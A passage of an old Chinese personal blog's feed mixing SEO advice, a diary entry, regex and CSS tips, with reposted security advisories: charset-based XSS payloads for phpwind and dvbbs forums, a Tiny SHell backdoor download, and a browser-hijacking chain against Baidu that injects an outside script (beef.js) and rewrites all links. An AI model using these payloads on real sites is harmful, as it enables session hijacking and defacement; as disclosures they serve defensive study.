的时间研究关键字，为不同的关键字组织相关性的页面内容和网页。<br/><br/>我们会看到不少网站的页面标题（Titles）上会罗列不少关键字，而很少看到网站管理员为不同的关键字设置不同的网页。我们来看这个网页的标题的写法：<br/><br/><br/><br/>暂且不说该网页标题存在严重的堆砌关键字的问题，对该网站访问可以发现，几乎所有页面的标题均为如上所列，而每个网页的内容是各有不同，关键字、标题、网页内容三者之间没有必然的联系，那么根据我们今天所谈到的长尾标题撰写与内容策略，我们应该就不同长尾关键字设置不同的网页与其对应。<br/><br/>说到这里我们可以归纳一下长尾标题撰写与内容策略的一般做法：<br/><br/>1、整理长尾关键字（可根据GOOGLE和BAIDU搜索引擎所提供的关键字选择工具进行选择）<br/><br/>2、为整理出来的长尾关键字编撰相应的页面内容；<br/><br/>3、基于第二点所撰写的内容制作网页页面。<br/><br/>对于第三点特别说明：注意页面前200个字的写法和编辑，并遵循关键字在页面内的分布原则，一般按照页面“自左上角向下”的原则分布。当然还有不少细节需要大家注意，这里不一一罗列，朋友们可以自己体会。<br/><br/>对于中小企业网站来说，一般在新闻资讯类页面、产品信息发布页面、贸易信息发布页面，尤其需要关注长尾标题撰写与内容策略的应用。<br/><br/>GOOGLE搜索引擎相关搜索对长尾关键字的建议，如网站建设：相关搜索：石家庄网站建设，北京网站建设，网站建设的好处北京网站建设&nbsp;&nbsp;，网站建设方案&nbsp;&nbsp;，上海网站建设&nbsp;等&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=203" /> 
	  <id>http://www.zxboy.com/default.asp?id=203</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我要骂个人]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=7" label="琐记" /> 
	  <updated>2008-08-13T21:41:30+08:00</updated>
	  <published>2008-08-13T21:41:30+08:00</published>
		  <summary type="html"><![CDATA[<span style="font-size:16pt">我要骂个人,骂谁呢?==,我先洗个澡.<br/><br/><br/>终于把澡洗完.好长好长时间没写BLOG了.很多事情学会了一笑置之,所以写博客的兴趣就越发减少了.这段时间好忙,都不记得有多少个周末没休息了,更不记得加过多少个班了,体验完心跳的感觉和激情澎湃之后,人难免会有些疲惫.以前我想这就是我想要的生活吧,要有激情,要有惊喜,总是有新的希望出现,不过这已经是两年前的想法了,这些还是我想要的生活的一部分,可是我还想要更多,更多什么?我不敢去多想,可每个月圆之夜似乎都有一个声音在对我说这不是我要的生活,我知道我内心深处肯定知道我想要的生活是什么样的.<br/><br/>说说这几个月让我欣慰的事情吧.&nbsp;NO1,有个女孩变成了我的女朋友,我还决定让她变成我以后的妻子,因为她是我见过的最完美的MM,我想如果我甩了她的话我这辈子都很难找到这么完美的MM了.NO2,终于从贫民窟里搬出来了,找了一个安静的房子住了下来,早上醒来时周围安静的像是一切都停止了,然后我打开音乐,把音量调到5&nbsp;percent,躺在沙发上让大脑在音乐中慢慢苏醒过来...NO3,网站的发展比我预期的要好,我也成功实现了网站收入在我薪水3倍以上的目标.<br/><br/><br/>哦.对了.我还要骂个人呢.郁闷,真健忘,把要骂谁给忘了.</span>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=202" /> 
	  <id>http://www.zxboy.com/default.asp?id=202</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[正则表达式 -- 简单的介绍]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-08-05T20:53:37+08:00</updated>
	  <published>2008-08-05T20:53:37+08:00</published>
		  <summary type="html"><![CDATA[最简单的符号：&nbsp;^&nbsp;*&nbsp;+&nbsp;?&nbsp;[]&nbsp;等&nbsp;<br/>ab&nbsp;就是包含ab字串的任何字符串&nbsp;^ab&nbsp;以ab开头的任何字符串&nbsp;<br/>ab$&nbsp;以ab结尾的任何字符串&nbsp;<br/>.为任意字符，&nbsp;ab.&nbsp;匹配&nbsp;aba&nbsp;abb&nbsp;abc&nbsp;…等任意字符串&nbsp;<br/>+&nbsp;？&nbsp;*为匹配计数。&nbsp;+表示前面的字符串匹配1-多次，*&nbsp;表示&nbsp;0-多次，？表示0-1次。如&nbsp;(ab)+&nbsp;匹配&nbsp;ab&nbsp;abab&nbsp;ababab等&nbsp;<br/>[]表示区间字符，如：[A-Z]表示大写字母，通常和+?*联用。[^A-Z]中的^表示反集，就是非大写字母的任意字符。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=201" /> 
	  <id>http://www.zxboy.com/default.asp?id=201</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[字符集导致的浏览器跨站脚本攻击]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-07-30T11:03:15+08:00</updated>
	  <published>2008-07-30T11:03:15+08:00</published>
		  <summary type="html"><![CDATA[Write&nbsp;by&nbsp;admin&nbsp;in&nbsp;web应用程序安全,&nbsp;客户端安全,&nbsp;漏洞发布&nbsp;at&nbsp;2008-06-06&nbsp;16:48:44&nbsp;<br/>|=———————————————————————————————–=|<br/>|=—————–=[&nbsp;字符集导致的浏览器跨站脚本攻击&nbsp;]=—————–=|<br/>|=———————————————————————————————–=|<br/>|=————————————-=[&nbsp;By&nbsp;jianxin&nbsp;]=————————————=|<br/>|=——————————-=[&nbsp;jianxin@80sec.com&nbsp;]=—————————-=|<br/>|=————————————————————————————————=|<br/><br/>前言：这种利用类型的攻击早在06年就被安全研究人员指出，不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集，所以影响还是比较大，希望各大站快速修复。可以看看<a href="http://applesoup.googlepages.com/" target="_blank">http://applesoup.googlepages.com/</a>。<br/><br/>文中&lt;已经被替换为&lt;,如果需要文档,请访问<a href="http://www.80sec.com/release/charset-xss.txt" target="_blank">http://www.80sec.com/release/charset-xss.txt</a><br/><br/>在一般的web程序里，显示数据给浏览器的时候都会指定一个字符集，在国内平时我们用到的字符集有utf-8，GBK，gb2312等等，字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛，但是经证明，IE在处理这些宽字符集的时候存在问题，导致可能程序的一些安全规则被Bypass掉，引发严重的跨站脚本安全漏洞。在IE里，如果它遇到一个字符，它是指定字符集里的第一位的时候，就会认为其后续字符和当前字符构成一个合法的字符，这样它在解析包括html标签，处理javascript，Css时都会做如此考虑，测试版本为ie6和ie7。<br/><br/>1&nbsp;Bypass某些js的检查规则<br/><br/><br/>&lt;HTML&gt;<br/>&lt;HEAD&gt;<br/>&lt;TITLE&gt;80sec&nbsp;test&lt;/TITLE&gt;<br/>&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;content=&#34;text/html;&nbsp;charset=gb2312&#34;&nbsp;/&gt;<br/>&lt;/HEAD&gt;<br/>&lt;BODY&gt;<br/>&lt;script&gt;<br/>window.onerror=function(){<br/>alert(&#39;Vul&#39;);<br/>return&nbsp;true;<br/>}<br/>&lt;/script&gt;<br/>&lt;script&gt;x=&#39;&lt;?php&nbsp;echo&nbsp;chr(0xC1);?&gt;&#39;;y=&#39;[User_IN_PUT]‘;&lt;/script&gt;<br/>&lt;/BODY&gt;<br/>&lt;/HTML&gt;<br/><br/>这里即使是过滤了&lt;&gt;’\等字符一样可以利用非法字符集序列来实现\的作用，因为它会把原来存在的’给结合掉，然后前面的’找不到闭合，后面[User_IN_PUT]就可以用来执行js代码了。<br/><br/>2&nbsp;Bypass某些属性的检查规则<br/><br/>为了避免直接使用html导致出现漏洞，一些论坛和程序使用了UBB标签，但是在gbk等多字节编码下，一样容易出现问题，以最容易出现问题的一个UBB标签为例子：<br/><br/><br/>[color=xyz&lt;?php&nbsp;echo&nbsp;chr(0xC1);?&gt;][/color][color=abc&nbsp;onmouseover=alert(/xss/)&nbsp;s=&lt;?php&nbsp;echo&nbsp;chr(0xC1);?&gt;]exploited[/color]<br/><br/>0xC1是一个gb2312的第一个字节，上面结果将会转化为：<br/><br/><br/>&lt;font&nbsp;color=&#34;xyz?&gt;&lt;/font&gt;&lt;font&nbsp;color=&#34;abc&nbsp;onmouseover=alert(/xss/)&nbsp;s=?&gt;exploited&lt;/font&gt;<br/><br/>其中的alert(/xss/)将会做一个事件执行，所以即使UBB标签也变得不安全，能饶过”的保护。许多论坛都没有注意这点，phpwind，动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格，修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面，因为有的数据库会抛弃与指定字符集不匹配的字符，所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里，当然像ACCESS这种就不会有问题了，另外一些语言在处理字符串的时候会强制字符串的字符集类型，不合法的字符会导致转码的失败或者遭到抛弃，所以也不能利用这种类型的攻击。<br/><br/>3&nbsp;几个小例子<br/><br/>Phpwind论坛charset跨站脚本漏洞<br/><br/><br/><a href="http://www.zxboy.com/mailto:xxxx羃[/email">[email=xxxx&nbsp;onmouseover=alert()&nbsp;s=羃]Fuck&nbsp;Me</a><br/><span style="font-family:宋体;0xc1">xxx</span><a target="_blank" href="http://onmouseover=alert()//">xx</a><br/><br/>羃是一个特殊的十六进制编码和后面的]结合出来的字符，第一个种方法可以直接复制的：）<br/>0xc1表示一个十六进制的字符编码<br/><br/>同样在dvbbs论坛也很容易产生一个xss代码如下<br/><br/><br/>&lt;font&nbsp;face=&#34;微软雅羃&gt;xxxxxxxxxxx&lt;/font&gt;&lt;font&nbsp;face=&#34;&nbsp;onmouseover=alert()&nbsp;x=羃&gt;xxxxxxxxxxx&lt;/font&gt;<br/><br/>均在新版和老版测试通过。<br/><br/>4&nbsp;关于修复<br/><br/>对于程序设计者，由于UTF-8字符集的可靠性，不存在这个安全漏洞，所以大家在设计站点的时候可以考虑使用UTF-8字符集。<br/>对于广大开发者，可以牢记最小输入等于最大安全的原则，在匹配正则的时候限制输入的字符的范围，尽量匹配ascii字符，如果必须使用中文，可以考虑类似于discuz的在中文后面添加空格修复该问题。<br/>对于广大用户，这个漏洞由于浏览器处理页面字符的不同，可以考虑使用如Firefox浏览器，可以避免一部分这样的问题。<br/><br/>本站内容均为原创，转载请务必保留署名与链接！<br/>字符集导致的浏览器跨站脚本攻击:<a href="http://www.80sec.com/charset-xss.html" target="_blank">http://www.80sec.com/charset-xss.html</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=200" /> 
	  <id>http://www.zxboy.com/default.asp?id=200</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Tiny SHell(tsh)]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-07-29T11:05:14+08:00</updated>
	  <published>2008-07-29T11:05:14+08:00</published>
		  <summary type="html"><![CDATA[Tiny&nbsp;SHell&nbsp;(tsh)&nbsp;is&nbsp;a&nbsp;lightweight&nbsp;client/server&nbsp;clone&nbsp;of&nbsp;the&nbsp;standard&nbsp;remote&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;login&nbsp;programs&nbsp;(rlogin,&nbsp;telnet(d),&nbsp;ssh(d),&nbsp;etc.).&nbsp;It&nbsp;is&nbsp;commonly&nbsp;used&nbsp;as&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;remote&nbsp;administration&nbsp;tool&nbsp;for&nbsp;clusters&nbsp;o&#114;&nbsp;embedded&nbsp;systems.&nbsp;This&nbsp;program&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;provides&nbsp;remote&nbsp;shell&nbsp;execution&nbsp;and&nbsp;file&nbsp;transfers,&nbsp;is&nbsp;8-bit&nbsp;clean,&nbsp;has&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;full&nbsp;support&nbsp;for&nbsp;pseudo-terminal&nbsp;pairs&nbsp;(pty/tty),&nbsp;and&nbsp;uses&nbsp;strong&nbsp;128-bit&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AES&nbsp;encryption.&nbsp;It&nbsp;can&nbsp;also&nbsp;operate&nbsp;as&nbsp;a&nbsp;backdoor&nbsp;in&nbsp;&#34;connect-back&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(a.k.a.&nbsp;&#34;reverse-connect&#34;)&nbsp;mode&nbsp;in&nbsp;o&#114;der&nbsp;to&nbsp;bypass&nbsp;firewalls&nbsp;that&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;block&nbsp;incoming&nbsp;connections.&nbsp;Most&nbsp;Unix&nbsp;platforms&nbsp;are&nbsp;currently&nbsp;supported&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Linux,&nbsp;*BSD,&nbsp;Cygwin,&nbsp;SunOS,&nbsp;IRIX,&nbsp;HP-UX,&nbsp;and&nbsp;OSF).&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Tiny&nbsp;SHell&nbsp;was&nbsp;o&#114;iginally&nbsp;developed&nbsp;by&nbsp;Christophe&nbsp;Devine.&nbsp;The&nbsp;last&nbsp;version&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I&nbsp;could&nbsp;find&nbsp;was&nbsp;version&nbsp;0.6&nbsp;dated&nbsp;September&nbsp;11,&nbsp;2003.&nbsp;I&#39;m&nbsp;a&nbsp;big&nbsp;fan&nbsp;of&nbsp;the&nbsp;project,&nbsp;so&nbsp;I&#39;ve&nbsp;decided&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to&nbsp;provide&nbsp;some&nbsp;hosting&nbsp;space.<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;Some&nbsp;other&nbsp;features&nbsp;I&#39;m&nbsp;thinking&nbsp;about:<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;Command&nbsp;line&nbsp;options&nbsp;for&nbsp;standard-mode&nbsp;vs.&nbsp;connect-back&nbsp;modeCommand&nbsp;line&nbsp;options&nbsp;to&nbsp;optionally&nbsp;configure&nbsp;the&nbsp;listening&nbsp;portMAC&nbsp;OS&nbsp;X&nbsp;supportScript&nbsp;executionDoxygen&nbsp;Documentation<br/>&#160;&#160;&#160;&#160;Releases<br/>&#160;&#160;&#160;&#160;<strong>Version&nbsp;0.6</strong>&nbsp;-&nbsp;September&nbsp;11,&nbsp;2003<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Download:&nbsp;<br/><a target="_blank" href="http://tsh.thecostaricacondo.com/tsh-0.6.tgz">tsh-0.6.tgz</a><br/>&nbsp;<br/>&#160;&#160;&#160;&#160;<br/>&nbsp;&nbsp;&nbsp;&nbsp;To&nbsp;contact&nbsp;me:&nbsp;<br/><a target="_blank" href="http://www.zxboy.com/mailto:diesel@thecostaricacondo.com">diesel</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=199" /> 
	  <id>http://www.zxboy.com/default.asp?id=199</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CSS中expression使用简介]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-07-24T10:36:41+08:00</updated>
	  <published>2008-07-24T10:36:41+08:00</published>
		  <summary type="html"><![CDATA[定义<br/><br/>　　IE5及其以后版本支持在CSS中使用expression，用来把CSS属性和Javascript表达式关联起来，这里的CSS属性可以是元素固有的属性，也可以是自定义属性。就是说CSS属性后面可以是一段Javascript表达式，CSS属性的值等于Javascript表达式计算的结果。&nbsp;在表达式中可以直接引用元素自身的属性和方法，也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。<br/><br/>　　给元素固有属性赋值<br/><br/>　　例如，你可以依照浏览器的大小来安置一个元素的位置。<br/><br/>#myDiv&nbsp;{<br/>&nbsp;&nbsp;&nbsp;position:&nbsp;&nbsp;&nbsp;absolute;<br/>&nbsp;&nbsp;&nbsp;width:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100px;<br/>&nbsp;&nbsp;&nbsp;height:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100px;<br/>&nbsp;&nbsp;&nbsp;left:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;expression(document.body.offsetWidth&nbsp;&nbsp;-&nbsp;110&nbsp;+&nbsp;&#34;px&#34;);<br/>&nbsp;&nbsp;&nbsp;top:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;expression(document.body.offsetHeight&nbsp;-&nbsp;110&nbsp;+&nbsp;&#34;px&#34;);<br/>&nbsp;&nbsp;&nbsp;background:&nbsp;red;<br/>}<br/><br/>　　给元素自定义属性赋值<br/><br/>　　例如，消除页面上的链接虚线框。&nbsp;通常的做法是：<br/><br/>&lt;a&nbsp;href=&#34;link1.htm&#34;&nbsp;onfocus=&#34;this.blur()&#34;&gt;link1&lt;/a&gt;<br/>&lt;a&nbsp;href=&#34;link2.htm&#34;&nbsp;onfocus=&#34;this.blur()&#34;&gt;link2&lt;/a&gt;<br/>&lt;a&nbsp;href=&#34;link3.htm&#34;&nbsp;onfocus=&#34;this.blur()&#34;&gt;link3&lt;/a&gt;<br/><br/>　　粗看或许还体现不出采用expression的优势，但如果你的页面上有几十甚至上百个链接，这时的你难道还会机械式地Ctrl+C，Ctrl+V么，何况两者一比较，哪个产生的冗余代码更多呢？<br/><br/>　　采用expression的做法如下：<br/><br/>&lt;style&nbsp;type=&#34;text/css&#34;&gt;<br/>a&nbsp;{star&nbsp;:&nbsp;expression(onfocus=this.blur)}<br/>&lt;/style&gt;<br/>&lt;a&nbsp;href=&#34;link1.htm&#34;&gt;link1&lt;/a&gt;<br/>&lt;a&nbsp;href=&#34;link2.htm&#34;&gt;link2&lt;/a&gt;<br/>&lt;a&nbsp;href=&#34;link3.htm&#34;&gt;link3&lt;/a&gt;<br/><br/>　　说明：里面的star就是自己任意定义的属性，你可以随自己喜好另外定义，接着包含在expression()里的语句就是JS脚本，在自定义属性与expression之间可别忘了还有一个引号，因为实质还是CSS，所以放在style标签内，而非script内。OK，这样就很容易地用一句话实现了页面中的链接虚线框的消除。不过你先别得意，如果触发的特效是CSS的属性变化，那么出来的结果会跟你的本意有差别。例如你想随鼠标的移进移出而改变页面中的文本框颜色更改，你可能想当然的会认为应该写为<br/><br/>&nbsp;&lt;style&nbsp;type=&#34;text/css&#34;&gt;<br/>input<br/>{star&nbsp;:&nbsp;expression(onmouseover=this.style.backgroundColor=&#34;#FF0000&#34;;<br/>onmouseout=this.style.backgroundColor=&#34;#FFFFFF&#34;)}<br/>&lt;/style&gt;<br/>&nbsp;&lt;style&nbsp;type=&#34;text/css&#34;&gt;<br/>&nbsp;input&nbsp;{star&nbsp;:&nbsp;expression(onmouseover=this.style.backgroundColor=&#34;#FF0000&#34;;<br/>&nbsp;onmouseout=this.style.backgroundColor=&#34;#FFFFFF&#34;)}<br/>&nbsp;&lt;/style&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/><br/>　　可结果却是出现脚本出错，正确的写法应该把CSS样式的定义写进函数内，如下所示：<br/><br/>&lt;style&nbsp;type=&#34;text/css&#34;&gt;<br/>input&nbsp;{star&nbsp;:&nbsp;expression(onmouseover=function()<br/>{this.style.backgroundColor=&#34;#FF0000&#34;},<br/>onmouseout=function(){this.style.backgroundColor=&#34;#FFFFFF&#34;})&nbsp;}<br/>&lt;/style&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/>&lt;input&nbsp;type=&#34;text&#34;&gt;<br/><br/>　　注意<br/><br/>　　不是非常需要，一般不建议使用expression，因为expression对浏览器资源要求比较高。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zxboy.com/default.asp?id=197" /> 
	  <id>http://www.zxboy.com/default.asp?id=197</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ 跨站脚本漏洞导致的浏览器劫持攻击]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.zxboy.com/</uri>
		 <email>unknow@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.zxboy.com/default.asp?cateID=5" label="技术" /> 
	  <updated>2008-06-30T12:33:25+08:00</updated>
	  <published>2008-06-30T12:33:25+08:00</published>
		  <summary type="html"><![CDATA[|=———————————————————————————————–=|<br/>|=—————–=[&nbsp;跨站脚本漏洞导致的浏览器劫持攻击&nbsp;]=—————–=|<br/>|=———————————————————————————————–=|<br/>|=————————————-=[&nbsp;By&nbsp;rayh4c&nbsp;]=————————————=|<br/>|=——————————-=[&nbsp;rayh4c@80sec.com&nbsp;]=—————————-=|<br/>|=————————————————————————————————=|<br/><br/>原始来源：<a href="http://www.80sec.com/release/browser-hijacking.txt" target="_blank">http://www.80sec.com/release/browser-hijacking.txt</a><br/><br/><br/>0x00&nbsp;唠叨两句<br/><br/>网上看见很多人研究跨站脚本漏洞,好像跨站脚本漏洞已经成为Web安全中的一大热点了，但实际上很多人并不了解这一漏洞能造成什么程度的危害，某同学曾经报过一个参数类型的URL链接XSS给某程序，被厂商鄙视了下，说这种漏洞有什么用，只能弹个框给自己看，最后一笑了之。<br/><br/><br/><br/>0x01&nbsp;题外科普<br/><br/>跨站脚本漏洞主要分为两类：<br/><br/>一类是存储型XSS，主要出现在让用户输入数据，供其他浏览此页的用户进行查看的地方，包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据，在页面中显示出来，攻击者在相关页面输入恶意的脚本数据后，用户浏览此类页面就可能受到攻击。另外一类是参数型XSS，主要是将脚本加入URL地址的程序参数里，参数进入程序后在页面直接输出脚本内容，用户点击类似的恶意链接就可能受到攻击。传统的XSS攻击都是盘算如何盗取客户端COOKIE，然后劫持客户端和WEB服务端的会话，其他还有利用XSS进行网络钓鱼的攻击方法，这类攻击都是针对客户端进行攻击，而近年流行的XSS&nbsp;WORM攻击方式，是通过AJAX技术把恶意的XSS数据感染到每一个用户，可以对WEB服务造成很大的影响，间接实现了对WEB服务端的攻击。<br/><br/><br/><br/>0x02&nbsp;一个典型的参数型跨站脚本漏洞<br/><br/>我拿百度主页的一个XSS做个演示(以前给百度报过漏洞,但是百度没什么反应)，这个漏洞是由于百度主页tn和bar参数过滤不严导致的参数型XSS：<br/><br/>&lt;code&gt;<br/><a href="http://www.baidu.com/index.php?tn=" target="_blank">http://www.baidu.com/index.php?tn=</a>&#34;/**/style=xss:expression(alert(&#39;xss&#39;));<br/><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank">http://www.baidu.com/index.php?bar=</a></a></a>&#34;/**/style=xss:expression(alert(&#39;xss&#39;));<br/>&lt;/code&gt;<br/><br/>tn和bar两个参数对应在页面的输出是两个input表单值，可以使用&#34;(双引号)闭合表单值，加入CSS属性跨站，页面具体输出如下：<br/><br/>&lt;code&gt;<br/>&lt;input&nbsp;type=hidden&nbsp;name=tn&nbsp;value=&#34;&#34;/**/style=xss:expression(alert(&#39;xss&#39;));&#34;&gt;&lt;input&nbsp;type=hidden&nbsp;name=bar&nbsp;value=&#34;&#34;&gt;<br/>&lt;/code&gt;<br/><br/>这个漏洞只能在IE下使用，FIREFOX会把URL链接参数中的&#34;(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合&#34;(双引号)跨站。expression()是个不听话的角色，这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码：<br/><br/>&lt;code&gt;<br/>eval(unescape(location.hash.substr(1)))<br/>&lt;/code&gt;<br/><br/>给window对象的方法定义一个值，判断这个值运行一次代码：<br/><br/>&lt;code&gt;<br/>(window.r!=1)?eval(&#39;window.r=1;eval(unescape(location.hash.substr(1)))&#39;):1&nbsp;<br/>&lt;/code&gt;<br/><br/>最后得到完美的攻击链接：<br/><br/>&lt;code&gt;<br/><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank">http://www.baidu.com/index.php?bar=</a></a></a>&#34;/**/style=xss:expression((window.r!=1)?eval(&#39;window.r=1;eval(unescape(location.hash.substr(1)))&#39;):1);#alert%28%29<br/>&lt;/code&gt;<br/><br/><br/>0x03&nbsp;新的攻击方式<br/><br/>从攻击的起点来说跨站脚本漏洞是有一定局限性的，跨站脚本漏洞无论是针对客户端还是针对WEB服务端的攻击都是被动式的攻击，我们只能在对方站点有漏洞的页面加入了恶意的javascript,用户只有访问了特定的页面才会触发漏洞，而离开这个页面，攻击也就随之失效。我们都知道AJAX技术中的xmlhttp组件是无法跨域发送请求的，一定程度上浏览器的安全特性间接影响着WEB漏洞的发挥，在《浅析浏览器的跨域安全问题》这篇文档里我就说明过浏览器跨域的一些安全特性,其中我发现window对象打开的窗口如果是同一个域的话，可以向打开的这个窗口再注入脚本运行。利用浏览器的这个安全特性，我们结合跨站脚本漏洞就可以修改同域内任何一个页面，比如利用百度的这个XSS来修改www.baidu.com域内的一个页面：<br/><br/>代码内容：<br/><br/>&lt;code&gt;<br/>x=window.open(&#39;<a href="http://www.baidu.com/duty/" target="_blank">http://www.baidu.com/duty/</a>&#39;);<br/>setTimeout(function(){<br/>x.location=&#34;javascript:document.write(&#39;茄子宝到此一游&#39;)&#34;<br/>},10)<br/>&lt;/code&gt;<br/><br/>最后可以得到的攻击链接：<br/><br/>&lt;code&gt;<br/><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank"><a href="http://www.baidu.com/index.php?bar=" target="_blank">http://www.baidu.com/index.php?bar=</a></a></a>&#34;/**/style=xss:expression((window.r!=1)?eval(&#39;window.r=1;eval(unescape(location.hash.substr(1)))&#39;):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29<br/>&lt;/code&gt;<br/><br/>进入这个链接后，允许浏览器弹窗，会弹出&nbsp;<a href="http://www.baidu.com/duty" target="_blank">http://www.baidu.com/duty</a>&nbsp;页面，整个页面会被修改成“茄子宝到此一游”&nbsp;：）<br/><br/><br/>0x04&nbsp;利用XSS漏洞跨页面劫持浏览器<br/><br/>现在我就利用所有的条件来实现一次模拟攻击，首先是核心代码，给打开的窗口注入一个JS：<br/><br/>&lt;code&gt;<br/>function&nbsp;win(){<br/>x=window.open(&#39;<a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a>&#39;);<br/>setTimeout(function(){<br/>x.location=&#34;javascript:var&nbsp;s=document.cr&#101;ateElement(&#39;script&#39;);s.setAttribute(&#39;src&#39;,&#39;<a href="http://beef.js" target="_blank">http://beef.js</a>&#39;);document.getElementsByTagName(&#39;head&#39;)[0].appendChild(s);void(0)&#34;<br/>},3000)<br/>}<br/>&lt;/code&gt;<br/><br/>然后是劫持代码，历遍当前页面所有的链接，把链接绑定核心代码：<br/><br/>&lt;code&gt;<br/>window.onload=function(){<br/>for&nbsp;(i=0;i&lt;document.links.length;i++)&nbsp;{&nbsp;<br/>document.links[i].href=&#34;javascript:win()&#34;<br/>}<br/>}<br/>&lt;/code&gt;<br/><br/>再利用百度XSS重写一个页面加入劫持代码，并且把这个攻击链接放入一个框架页：<br/><br/><br/>&lt;code&gt;<br/>&lt;html&gt;<br/>&lt;head&gt;&lt;title&gt;XSS&nbsp;注入&lt;/title&gt;&lt;/head&gt;<br/>&lt;frameset&nbsp;cols=&#34;100%&#34;&gt;<br/>&lt;frame&nbsp;name=&#34;xss&#34;&nbsp;src=&#39;<a href="http://www.baidu.com" 